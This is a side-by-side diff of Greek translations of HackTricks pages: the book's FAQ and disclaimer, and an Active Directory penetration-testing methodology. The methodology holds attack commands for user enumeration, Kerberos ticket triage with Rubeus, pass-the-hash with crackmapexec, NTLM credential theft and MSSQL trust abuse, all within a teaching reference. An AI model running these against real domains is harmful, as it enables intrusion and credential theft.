year = {Year of Last Update (check it at the end of the page)}, year = {Year of Last Update (check it at the end of the page)},
url = {\url{https://book.hacktricks.xyz/specific-page}}, url = {\url{https://book.hacktricks.wiki/specific-page}},
} }
``` ```
> [!WARNING] > [!WARNING]
@ -76,7 +76,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
Αν νομίζετε ότι τα βιβλία HackTricks είναι φτιαγμένα για **εμπορικούς σκοπούς**, είστε **ΤΕΛΕΙΩΣ ΛΑΘΟΣ**. Αν νομίζετε ότι τα βιβλία HackTricks είναι φτιαγμένα για **εμπορικούς σκοπούς**, είστε **ΤΕΛΕΙΩΣ ΛΑΘΟΣ**.
Έχουμε χορηγούς γιατί, ακόμα και αν όλο το περιεχόμενο είναι ΔΩΡΕΑΝ, θέλουμε να **προσφέρουμε στην κοινότητα τη δυνατότητα να εκτιμήσει τη δουλειά μας** αν το επιθυμούν. Επομένως, προσφέρουμε στους ανθρώπους την επιλογή να δωρίσουν στα HackTricks μέσω [**Github sponsors**](https://github.com/sponsors/carlospolop), και **σχετικών εταιρειών κυβερνοασφάλειας** να χορηγήσουν τα HackTricks και να **έχουν κάποιες διαφημίσεις** στο βιβλίο, με τις **διαφημίσεις** να τοποθετούνται πάντα σε μέρη που τις καθιστούν **ορατές** αλλά **δεν διαταράσσουν τη διαδικασία μάθησης** αν κάποιος εστιάζει στο περιεχόμενο. Έχουμε χορηγούς γιατί, ακόμα και αν όλο το περιεχόμενο είναι ΔΩΡΕΑΝ, θέλουμε να **προσφέρουμε στην κοινότητα τη δυνατότητα να εκτιμήσει τη δουλειά μας** αν το επιθυμούν. Επομένως, προσφέρουμε στους ανθρώπους την επιλογή να δωρίσουν στα HackTricks μέσω [**Github sponsors**](https://github.com/sponsors/carlospolop), και **σχετικών εταιρειών κυβερνοασφάλειας** να χορηγήσουν τα HackTricks και να **έχουν κάποιες διαφημίσεις** στο βιβλίο, με τις **διαφημίσεις** να τοποθετούνται πάντα σε μέρη που τις κάνουν **ορατές** αλλά **δεν διαταράσσουν τη διαδικασία μάθησης** αν κάποιος εστιάζει στο περιεχόμενο.
Δεν θα βρείτε τα HackTricks γεμάτα ενοχλητικές διαφημίσεις όπως άλλα blogs με πολύ λιγότερο περιεχόμενο από τα HackTricks, γιατί τα HackTricks δεν είναι φτιαγμένα για εμπορικούς σκοπούς. Δεν θα βρείτε τα HackTricks γεμάτα ενοχλητικές διαφημίσεις όπως άλλα blogs με πολύ λιγότερο περιεχόμενο από τα HackTricks, γιατί τα HackTricks δεν είναι φτιαγμένα για εμπορικούς σκοπούς.
@ -84,7 +84,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
> >
> - **Τι πρέπει να κάνω αν κάποια σελίδα των HackTricks βασίζεται σε ανάρτηση του blog μου αλλά δεν αναφέρεται;** > - **Τι πρέπει να κάνω αν κάποια σελίδα των HackTricks βασίζεται σε ανάρτηση του blog μου αλλά δεν αναφέρεται;**
**Λυπούμαστε πολύ. Αυτό δεν έπρεπε να έχει συμβεί**. Παρακαλώ, ενημερώστε μας μέσω Github issues, Twitter, Discord... τον σύνδεσμο της σελίδας των HackTricks με το περιεχόμενο και τον σύνδεσμο του blog σας και **θα το ελέγξουμε και θα το προσθέσουμε ASAP**. **Λυπούμαστε πολύ. Αυτό δεν έπρεπε να έχει συμβεί**. Παρακαλώ, ενημερώστε μας μέσω Github issues, Twitter, Discord... το σύνδεσμο της σελίδας των HackTricks με το περιεχόμενο και το σύνδεσμο του blog σας και **θα το ελέγξουμε και θα το προσθέσουμε ASAP**.
> [!CAUTION] > [!CAUTION]
> >
@ -93,7 +93,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
Σημειώστε ότι η ύπαρξη συνδέσμων προς τη σελίδα σας στα HackTricks: Σημειώστε ότι η ύπαρξη συνδέσμων προς τη σελίδα σας στα HackTricks:
- Βελτιώνει το **SEO** σας - Βελτιώνει το **SEO** σας
- Το περιεχόμενο **μεταφράζεται σε περισσότερες από 15 γλώσσες** καθιστώντας το δυνατό για περισσότερους ανθρώπους να έχουν πρόσβαση σε αυτό το περιεχόμενο - Το περιεχόμενο **μεταφράζεται σε περισσότερες από 15 γλώσσες** κάνοντάς το δυνατό για περισσότερους ανθρώπους να έχουν πρόσβαση σε αυτό το περιεχόμενο
- **Τα HackTricks ενθαρρύνουν** τους ανθρώπους να **ελέγξουν τη σελίδα σας** (πολλοί άνθρωποι μας έχουν αναφέρει ότι από τότε που κάποια σελίδα τους είναι στα HackTricks, λαμβάνουν περισσότερες επισκέψεις) - **Τα HackTricks ενθαρρύνουν** τους ανθρώπους να **ελέγξουν τη σελίδα σας** (πολλοί άνθρωποι μας έχουν αναφέρει ότι από τότε που κάποια σελίδα τους είναι στα HackTricks, λαμβάνουν περισσότερες επισκέψεις)
Ωστόσο, αν θέλετε ακόμα το περιεχόμενο του blog σας να αφαιρεθεί από τα HackTricks, απλά ενημερώστε μας και σίγουρα θα **αφαιρέσουμε κάθε σύνδεσμο προς το blog σας**, και οποιοδήποτε περιεχόμενο βασίζεται σε αυτό. Ωστόσο, αν θέλετε ακόμα το περιεχόμενο του blog σας να αφαιρεθεί από τα HackTricks, απλά ενημερώστε μας και σίγουρα θα **αφαιρέσουμε κάθε σύνδεσμο προς το blog σας**, και οποιοδήποτε περιεχόμενο βασίζεται σε αυτό.
@ -102,7 +102,7 @@ url = {\url{https://book.hacktricks.xyz/specific-page}},
> >
> - **Τι πρέπει να κάνω αν βρω περιεχόμενο που έχει αντιγραφεί και επικολληθεί στα HackTricks;** > - **Τι πρέπει να κάνω αν βρω περιεχόμενο που έχει αντιγραφεί και επικολληθεί στα HackTricks;**
Πάντα **δίνουμε στους αρχικούς συγγραφείς όλα τα εύσημα**. Αν βρείτε μια σελίδα με περιεχόμενο που έχει αντιγραφεί και επικολληθεί χωρίς αναφορά στην αρχική πηγή, ενημερώστε μας και θα **το αφαιρέσουμε**, **θα προσθέσουμε τον σύνδεσμο πριν από το κείμενο**, ή **θα το ξαναγράψουμε προσθέτοντας τον σύνδεσμο**. Πάντα **δίνουμε στους αρχικούς συγγραφείς όλα τα εύσημα**. Αν βρείτε μια σελίδα με περιεχόμενο που έχει αντιγραφεί και επικολληθεί χωρίς αναφορά στην αρχική πηγή, ενημερώστε μας και θα **το αφαιρέσουμε**, **θα προσθέσουμε το σύνδεσμο πριν από το κείμενο**, ή **θα το ξαναγράψουμε προσθέτοντας το σύνδεσμο**.
## LICENSE ## LICENSE
@ -130,14 +130,14 @@ This license does not grant any trademark or branding rights in relation to the
## **Disclaimer** ## **Disclaimer**
> [!CAUTION] > [!CAUTION]
> Αυτό το βιβλίο, 'HackTricks,' προορίζεται μόνο για εκπαιδευτικούς και ενημερωτικούς σκοπούς. Το περιεχόμενο αυτού του βιβλίου παρέχεται σε βάση 'ως έχει', και οι συγγραφείς και οι εκδότες δεν κάνουν καμία δήλωση ή εγγύηση οποιουδήποτε είδους, ρητής ή σιωπηρής, σχετικά με την πληρότητα, την ακρίβεια, την αξιοπιστία, την καταλληλότητα ή τη διαθεσιμότητα των πληροφοριών, προϊόντων, υπηρεσιών ή σχετικών γραφικών που περιέχονται σε αυτό το βιβλίο. Οποιαδήποτε εξάρτηση που τοποθετείτε σε τέτοιες πληροφορίες είναι επομένως αυστηρά με δική σας ευθύνη. > This book, 'HackTricks,' is intended for educational and informational purposes only. The content within this book is provided on an 'as is' basis, and the authors and publishers make no representations or warranties of any kind, express or implied, about the completeness, accuracy, reliability, suitability, or availability of the information, products, services, or related graphics contained within this book. Any reliance you place on such information is therefore strictly at your own risk.
> >
> Οι συγγραφείς και οι εκδότες δεν θα είναι σε καμία περίπτωση υπεύθυνοι για οποιαδήποτε απώλεια ή ζημία, συμπεριλαμβανομένων χωρίς περιορισμό, έμμεσων ή επακόλουθων απωλειών ή ζημιών, ή οποιασδήποτε απώλειας ή ζημίας προκύπτει από απώλεια δεδομένων ή κερδών που προκύπτουν από, ή σε σχέση με, τη χρήση αυτού του βιβλίου. > The authors and publishers shall in no event be liable for any loss or damage, including without limitation, indirect or consequential loss or damage, or any loss or damage whatsoever arising from loss of data or profits arising out of, or in connection with, the use of this book.
> >
> Επιπλέον, οι τεχνικές και οι συμβουλές που περιγράφονται σε αυτό το βιβλίο παρέχονται μόνο για εκπαιδευτικούς και ενημερωτικούς σκοπούς και δεν θα πρέπει να χρησιμοποιούνται για οποιαδήποτε παράνομη ή κακόβουλη δραστηριότητα. Οι συγγραφείς και οι εκδότες δεν υποστηρίζουν ή εγκρίνουν οποιαδήποτε παράνομη ή ανήθικη δραστηριότητα, και οποιαδήποτε χρήση των πληροφοριών που περιέχονται σε αυτό το βιβλίο είναι με κίνδυνο και διακριτική ευχέρεια του χρήστη. > Furthermore, the techniques and tips described in this book are provided for educational and informational purposes only, and should not be used for any illegal or malicious activities. The authors and publishers do not condone or support any illegal or unethical activities, and any use of the information contained within this book is at the user's own risk and discretion.
> >
> Ο χρήστης είναι αποκλειστικά υπεύθυνος για οποιεσδήποτε ενέργειες που αναλαμβάνονται με βάση τις πληροφορίες που περιέχονται σε αυτό το βιβλίο, και θα πρέπει πάντα να ζητά επαγγελματική συμβουλή και βοήθεια όταν προσπαθεί να εφαρμόσει οποιαδήποτε από τις τεχνικές ή τις συμβουλές που περιγράφονται εδώ. > The user is solely responsible for any actions taken based on the information contained within this book, and should always seek professional advice and assistance when attempting to implement any of the techniques or tips described herein.
> >
> Με τη χρήση αυτού του βιβλίου, ο χρήστης συμφωνεί να απαλλάξει τους συγγραφείς και τους εκδότες από οποιαδήποτε και όλες τις ευθύνες και υποχρεώσεις για οποιαδήποτε ζημία, απώλειες ή βλάβες που μπορεί να προκύψουν από τη χρήση αυτού του βιβλίου ή οποιασδήποτε από τις πληροφορίες που περιέχονται σε αυτό. > By using this book, the user agrees to release the authors and publishers from any and all liability and responsibility for any damages, losses, or harm that may result from the use of this book or any of the information contained within it.
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -11,7 +11,7 @@
Βασικές έννοιες εντός του **Active Directory** περιλαμβάνουν: Βασικές έννοιες εντός του **Active Directory** περιλαμβάνουν:
1. **Κατάλογος** Περιέχει όλες τις πληροφορίες που αφορούν τα αντικείμενα του Active Directory. 1. **Κατάλογος** Περιέχει όλες τις πληροφορίες που αφορούν τα αντικείμενα του Active Directory.
2. **Αντικείμενο** Δηλώνει οντότητες εντός του καταλόγου, συμπεριλαμβανομένων **χρηστών**, **ομάδων** ή **κοινών φακέλων**. 2. **Αντικείμενο** Δηλώνει οντότητες εντός του καταλόγου, συμπεριλαμβανομένων των **χρηστών**, **ομάδων** ή **κοινών φακέλων**.
3. **Τομέας** Λειτουργεί ως δοχείο για τα αντικείμενα του καταλόγου, με τη δυνατότητα να συνυπάρχουν πολλοί τομείς εντός ενός **δάσους**, καθένας διατηρώντας τη δική του συλλογή αντικειμένων. 3. **Τομέας** Λειτουργεί ως δοχείο για τα αντικείμενα του καταλόγου, με τη δυνατότητα να συνυπάρχουν πολλοί τομείς εντός ενός **δάσους**, καθένας διατηρώντας τη δική του συλλογή αντικειμένων.
4. **Δέντρο** Μια ομάδα τομέων που μοιράζονται έναν κοινό ριζικό τομέα. 4. **Δέντρο** Μια ομάδα τομέων που μοιράζονται έναν κοινό ριζικό τομέα.
5. **Δάσος** Η κορυφή της οργανωτικής δομής στο Active Directory, που αποτελείται από αρκετά δέντρα με **σχέσεις εμπιστοσύνης** μεταξύ τους. 5. **Δάσος** Η κορυφή της οργανωτικής δομής στο Active Directory, που αποτελείται από αρκετά δέντρα με **σχέσεις εμπιστοσύνης** μεταξύ τους.
@ -29,7 +29,7 @@
### **Kerberos Authentication** ### **Kerberos Authentication**
Για να μάθετε πώς να **επιτεθείτε σε ένα AD** πρέπει να **κατανοήσετε** πολύ καλά τη **διαδικασία αυθεντικοποίησης Kerberos**.\ Για να μάθετε πώς να **επιτεθείτε σε ένα AD** πρέπει να **κατανοήσετε** πολύ καλά τη διαδικασία **αυθεντικοποίησης Kerberos**.\
[**Διαβάστε αυτή τη σελίδα αν δεν ξέρετε πώς λειτουργεί.**](kerberos-authentication.md) [**Διαβάστε αυτή τη σελίδα αν δεν ξέρετε πώς λειτουργεί.**](kerberos-authentication.md)
## Cheat Sheet ## Cheat Sheet
@ -67,7 +67,7 @@
- Συγκεντρώστε διαπιστευτήρια [**υποδυόμενοι υπηρεσίες με Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - Συγκεντρώστε διαπιστευτήρια [**υποδυόμενοι υπηρεσίες με Responder**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Πρόσβαση σε υπολογιστή [**καταχρώντας την επίθεση relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) - Πρόσβαση σε υπολογιστή [**καταχρώντας την επίθεση relay**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)
- Συγκεντρώστε διαπιστευτήρια **εκθέτοντας** [**ψεύτικες υπηρεσίες UPnP με evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - Συγκεντρώστε διαπιστευτήρια **εκθέτοντας** [**ψεύτικες υπηρεσίες UPnP με evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology): - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html):
- Εξάγετε ονόματα χρηστών/ονόματα από εσωτερικά έγγραφα, κοινωνικά δίκτυα, υπηρεσίες (κυρίως ιστότοπους) εντός των περιβαλλόντων τομέα και επίσης από δημόσια διαθέσιμα. - Εξάγετε ονόματα χρηστών/ονόματα από εσωτερικά έγγραφα, κοινωνικά δίκτυα, υπηρεσίες (κυρίως ιστότοπους) εντός των περιβαλλόντων τομέα και επίσης από δημόσια διαθέσιμα.
- Αν βρείτε τα πλήρη ονόματα των εργαζομένων της εταιρείας, μπορείτε να δοκιμάσετε διάφορες συμβάσεις **ονόματος χρήστη AD** (**[διαβάστε αυτό](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Οι πιο κοινές συμβάσεις είναι: _NameSurname_, _Name.Surname_, _NamSur_ (3 γράμματα από κάθε ένα), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 υχαία γράμματα και 3 τυχαίοι αριθμοί_ (abc123). - Αν βρείτε τα πλήρη ονόματα των εργαζομένων της εταιρείας, μπορείτε να δοκιμάσετε διάφορες συμβάσεις **ονόματος χρήστη AD** (**[διαβάστε αυτό](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Οι πιο κοινές συμβάσεις είναι: _NameSurname_, _Name.Surname_, _NamSur_ (3 γράμματα από κάθε ένα), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 υχαία γράμματα και 3 τυχαίοι αριθμοί_ (abc123).
- Εργαλεία: - Εργαλεία:
@ -141,9 +141,9 @@ password-spraying.md
## Καταγραφή Active Directory ΜΕ πιστοποιήσεις/συνεδρία ## Καταγραφή Active Directory ΜΕ πιστοποιήσεις/συνεδρία
Για αυτή τη φάση χρειάζεστε να έχετε **συμβιβαστεί τις πιστοποιήσεις ή μια συνεδρία ενός έγκυρου λογαριασμού τομέα.** Αν έχετε κάποιες έγκυρες πιστοποιήσεις ή μια shell ως χρήστης τομέα, **θα πρέπει να θυμάστε ότι οι επιλογές που δόθηκαν πριν είναι ακόμα επιλογές για να συμβιβάσετε άλλους χρήστες**. Για αυτή τη φάση πρέπει να έχετε **συμβιβαστεί τις πιστοποιήσεις ή μια συνεδρία ενός έγκυρου λογαριασμού τομέα.** Αν έχετε κάποιες έγκυρες πιστοποιήσεις ή μια shell ως χρήστης τομέα, **θα πρέπει να θυμάστε ότι οι επιλογές που δόθηκαν πριν είναι ακόμα επιλογές για να συμβιβάσετε άλλους χρήστες**.
Πριν ξεκινήσετε την αυθεντικοποιημένη καταγραφή θα πρέπει να γνωρίζετε ποιο είναι το **πρόβλημα διπλού hop Kerberos.** Πριν ξεκινήσετε την αυθεντικοποιημένη καταγραφή θα πρέπει να γνωρίζετε ποιο είναι το **πρόβλημα διπλού άλματος Kerberos.**
{{#ref}} {{#ref}}
kerberos-double-hop-problem.md kerberos-double-hop-problem.md
@ -151,14 +151,14 @@ kerberos-double-hop-problem.md
### Καταγραφή ### Καταγραφή
Η συμβιβασμένη λογαριασμός είναι ένα **μεγάλο βήμα για να αρχίσετε να συμβιβάζετε ολόκληρο το τομέα**, γιατί θα μπορείτε να ξεκινήσετε την **Καταγραφή Active Directory:** Η κατοχή ενός λογαριασμού είναι ένα **μεγάλο βήμα για να αρχίσετε να συμβιβάζετε ολόκληρο το τομέα**, γιατί θα μπορείτε να ξεκινήσετε την **Καταγραφή Active Directory:**
Αναφορικά με [**ASREPRoast**](asreproast.md) μπορείτε τώρα να βρείτε κάθε πιθανό ευάλωτο χρήστη, και αναφορικά με [**Password Spraying**](password-spraying.md) μπορείτε να αποκτήσετε μια **λίστα με όλα τα ονόματα χρηστών** και να δοκιμάσετε τον κωδικό πρόσβασης του συμβιβασμένου λογαριασμού, κενές κωδικούς και νέους υποσχόμενους κωδικούς. Αναφορικά με [**ASREPRoast**](asreproast.md) μπορείτε τώρα να βρείτε κάθε πιθανό ευάλωτο χρήστη, και αναφορικά με [**Password Spraying**](password-spraying.md) μπορείτε να αποκτήσετε μια **λίστα με όλα τα ονόματα χρηστών** και να δοκιμάσετε τον κωδικό του συμβιβασμένου λογαριασμού, κενές κωδικούς και νέους υποσχόμενους κωδικούς.
- Μπορείτε να χρησιμοποιήσετε το [**CMD για να εκτελέσετε μια βασική αναγνώριση**](../basic-cmd-for-pentesters.md#domain-info) - Μπορείτε να χρησιμοποιήσετε το [**CMD για να εκτελέσετε μια βασική αναγνώριση**](../basic-cmd-for-pentesters.md#domain-info)
- Μπορείτε επίσης να χρησιμοποιήσετε [**powershell για αναγνώριση**](../basic-powershell-for-pentesters/index.html) που θα είναι πιο διακριτικό - Μπορείτε επίσης να χρησιμοποιήσετε [**powershell για αναγνώριση**](../basic-powershell-for-pentesters/index.html) που θα είναι πιο διακριτικό
- Μπορείτε επίσης να [**χρησιμοποιήσετε το powerview**](../basic-powershell-for-pentesters/powerview.md) για να εξαγάγετε πιο λεπτομερείς πληροφορίες - Μπορείτε επίσης να [**χρησιμοποιήσετε το powerview**](../basic-powershell-for-pentesters/powerview.md) για να εξαγάγετε πιο λεπτομερείς πληροφορίες
- Ένα άλλο καταπληκτικό εργαλείο για αναγνώριση σε ένα active directory είναι το [**BloodHound**](bloodhound.md). Δεν είναι **πολύ διακριτικό** (ανάλογα με τις μεθόδους συλλογής που χρησιμοποιείτε), αλλά **αν δεν σας νοιάζει** γι' αυτό, θα πρέπει σίγουρα να το δοκιμάσετε. Βρείτε πού οι χρήστες μπορούν να RDP, βρείτε διαδρομές σε άλλες ομάδες, κ.λπ. - Ένα άλλο καταπληκτικό εργαλείο για αναγνώριση σε ένα active directory είναι το [**BloodHound**](bloodhound.md). Δεν είναι **πολύ διακριτικό** (ανάλογα με τις μεθόδους συλλογής που χρησιμοποιείτε), αλλά **αν δεν σας νοιάζει** γι' αυτό, θα πρέπει σίγουρα να το δοκιμάσετε. Βρείτε πού μπορούν οι χρήστες να RDP, βρείτε διαδρομές σε άλλες ομάδες, κ.λπ.
- **Άλλα αυτοματοποιημένα εργαλεία καταγραφής AD είναι:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.** - **Άλλα αυτοματοποιημένα εργαλεία καταγραφής AD είναι:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
- [**DNS records του AD**](ad-dns-records.md) καθώς μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες. - [**DNS records του AD**](ad-dns-records.md) καθώς μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες.
- Ένα **εργαλείο με GUI** που μπορείτε να χρησιμοποιήσετε για να καταγράψετε τον κατάλογο είναι το **AdExplorer.exe** από το **SysInternal** Suite. - Ένα **εργαλείο με GUI** που μπορείτε να χρησιμοποιήσετε για να καταγράψετε τον κατάλογο είναι το **AdExplorer.exe** από το **SysInternal** Suite.
@ -171,7 +171,7 @@ kerberos-double-hop-problem.md
Είναι πολύ εύκολο να αποκτήσετε όλα τα ονόματα χρηστών του τομέα από τα Windows (`net user /domain`, `Get-DomainUser` ή `wmic useraccount get name,sid`). Στο Linux, μπορείτε να χρησιμοποιήσετε: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ή `enum4linux -a -u "user" -p "password" <DC IP>` Είναι πολύ εύκολο να αποκτήσετε όλα τα ονόματα χρηστών του τομέα από τα Windows (`net user /domain`, `Get-DomainUser` ή `wmic useraccount get name,sid`). Στο Linux, μπορείτε να χρησιμοποιήσετε: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` ή `enum4linux -a -u "user" -p "password" <DC IP>`
> Ακόμα και αν αυτή η ενότητα Καταγραφής φαίνεται μικρή, είναι το πιο σημαντικό μέρος όλων. Αποκτήστε πρόσβαση στους συνδέσμους (κυρίως αυτόν του cmd, powershell, powerview και BloodHound), μάθετε πώς να καταγράφετε ένα τομέα και εξασκηθείτε μέχρι να νιώσετε άνετα. Κατά τη διάρκεια μιας αξιολόγησης, αυτή θα είναι η κρίσιμη στιγμή για να βρείτε το δρόμο σας προς DA ή να αποφασίσετε ότι δεν μπορεί να γίνει τίποτα. > Ακόμα και αν αυτή η ενότητα καταγραφής φαίνεται μικρή, είναι το πιο σημαντικό μέρος όλων. Αποκτήστε πρόσβαση στους συνδέσμους (κυρίως αυτόν του cmd, powershell, powerview και BloodHound), μάθετε πώς να καταγράφετε ένα τομέα και εξασκηθείτε μέχρι να νιώσετε άνετα. Κατά τη διάρκεια μιας αξιολόγησης, αυτή θα είναι η κρίσιμη στιγμή για να βρείτε το δρόμο σας προς DA ή να αποφασίσετε ότι δεν μπορεί να γίνει τίποτα.
### Kerberoast ### Kerberoast
@ -185,17 +185,17 @@ kerberoast.md
### Απομακρυσμένη σύνδεση (RDP, SSH, FTP, Win-RM, κ.λπ.) ### Απομακρυσμένη σύνδεση (RDP, SSH, FTP, Win-RM, κ.λπ.)
Μόλις έχετε αποκτήσει κάποιες πιστοποιήσεις μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε αρκετούς διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσεις θυρών σας. Μόλις αποκτήσετε κάποιες πιστοποιήσεις μπορείτε να ελέγξετε αν έχετε πρόσβαση σε οποιαδήποτε **μηχανή**. Για αυτό το σκοπό, μπορείτε να χρησιμοποιήσετε το **CrackMapExec** για να προσπαθήσετε να συνδεθείτε σε αρκετούς διακομιστές με διαφορετικά πρωτόκολλα, ανάλογα με τις σάρωσες θυρών σας.
### Τοπική Κλιμάκωση Προνομίων ### Τοπική Κλιμάκωση Προνομίων
Αν έχετε συμβιβασμένες πιστοποιήσεις ή μια συνεδρία ως κανονικός χρήστης τομέα και έχετε **πρόσβαση** με αυτόν τον χρήστη σε **οποιαδήποτε μηχανή στον τομέα** θα πρέπει να προσπαθήσετε να βρείτε τον τρόπο σας για να **κλιμακώσετε τα προνόμια τοπικά και να αναζητήσετε πιστοποιήσεις**. Αυτό συμβαίνει γιατί μόνο με τοπικά προνόμια διαχειριστή θα μπορείτε να **dumpάρετε hashes άλλων χρηστών** στη μνήμη (LSASS) και τοπικά (SAM). Αν έχετε συμβιβαστεί πιστοποιήσεις ή μια συνεδρία ως κανονικός χρήστης τομέα και έχετε **πρόσβαση** με αυτόν τον χρήστη σε **οποιαδήποτε μηχανή στον τομέα** θα πρέπει να προσπαθήσετε να βρείτε τον τρόπο σας για να **κλιμακώσετε τα προνόμια τοπικά και να αναζητήσετε πιστοποιήσεις**. Αυτό συμβαίνει γιατί μόνο με τοπικά προνόμια διαχειριστή θα μπορείτε να **dumpάρετε hashes άλλων χρηστών** στη μνήμη (LSASS) και τοπικά (SAM).
Υπάρχει μια ολοκληρωμένη σελίδα σε αυτό το βιβλίο σχετικά με [**την τοπική κλιμάκωση προνομίων στα Windows**](../windows-local-privilege-escalation/index.html) και μια [**λίστα ελέγχου**](../checklist-windows-privilege-escalation.md). Επίσης, μην ξεχάσετε να χρησιμοποιήσετε [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite). Υπάρχει μια ολοκληρωμένη σελίδα σε αυτό το βιβλίο σχετικά με [**την τοπική κλιμάκωση προνομίων στα Windows**](../windows-local-privilege-escalation/index.html) και μια [**λίστα ελέγχου**](../checklist-windows-privilege-escalation.md). Επίσης, μην ξεχάσετε να χρησιμοποιήσετε [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
### Τρέχοντα Εισιτήρια Συνεδρίας ### Τρέχοντα Εισιτήρια Συνεδρίας
Είναι πολύ **απίθανο** να βρείτε **εισιτήρια** στον τρέχοντα χρήστη **που να σας δίνουν άδεια πρόσβασης** σε απροσδόκητους πόρους, αλλά μπορείτε να ελέγξετε: Είναι πολύ **απίθανο** να βρείτε **εισιτήρια** στον τρέχοντα χρήστη **που σας δίνουν άδεια πρόσβασης** σε απροσδόκητους πόρους, αλλά μπορείτε να ελέγξετε:
```bash ```bash
## List all tickets (if not admin, only current user tickets) ## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage .\Rubeus.exe triage
@ -215,7 +215,7 @@ kerberoast.md
### Κλέψτε NTLM Creds ### Κλέψτε NTLM Creds
Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινές χρήσεις**, θα μπορούσατε να **τοποθετήσετε αρχεία** (όπως ένα αρχείο SCF) που αν με κάποιο τρόπο προσπελαστούν θα **προκαλέσουν μια NTML αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM πρόκληση** για να την σπάσετε: Αν μπορείτε να **έχετε πρόσβαση σε άλλους υπολογιστές ή κοινές χρήσεις**, μπορείτε να **τοποθετήσετε αρχεία** (όπως ένα αρχείο SCF) που αν με κάποιο τρόπο αποκτηθούν θα **προκαλέσουν μια NTML αυθεντικοποίηση εναντίον σας** ώστε να μπορείτε να **κλέψετε** την **NTLM πρόκληση** για να την σπάσετε:
{{#ref}} {{#ref}}
../ntlm/places-to-steal-ntlm-creds.md ../ntlm/places-to-steal-ntlm-creds.md
@ -274,7 +274,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
### Κατάχρηση MSSQL & Εμπιστευμένοι Σύνδεσμοι ### Κατάχρηση MSSQL & Εμπιστευμένοι Σύνδεσμοι
Εάν ένας χρήστης έχει δικαιώματα να **πρόσβαση σε MSSQL instances**, θα μπορούσε να το χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμα και να εκτελέσει μια **επίθεση** **relay**.\ Εάν ένας χρήστης έχει δικαιώματα να **πρόσβαση σε MSSQL instances**, θα μπορούσε να το χρησιμοποιήσει για να **εκτελέσει εντολές** στον MSSQL host (αν τρέχει ως SA), να **κλέψει** το NetNTLM **hash** ή ακόμη και να εκτελέσει μια **επίθεση** **relay**.\
Επίσης, αν ένα MSSQL instance είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό MSSQL instance. Εάν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει μια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\ Επίσης, αν ένα MSSQL instance είναι εμπιστευμένο (σύνδεσμος βάσης δεδομένων) από ένα διαφορετικό MSSQL instance. Εάν ο χρήστης έχει δικαιώματα πάνω στη εμπιστευμένη βάση δεδομένων, θα είναι σε θέση να **χρησιμοποιήσει τη σχέση εμπιστοσύνης για να εκτελέσει ερωτήματα και στην άλλη instance**. Αυτές οι εμπιστοσύνες μπορούν να αλυσωθούν και σε κάποιο σημείο ο χρήστης μπορεί να είναι σε θέση να βρει μια κακώς ρυθμισμένη βάση δεδομένων όπου μπορεί να εκτελέσει εντολές.\
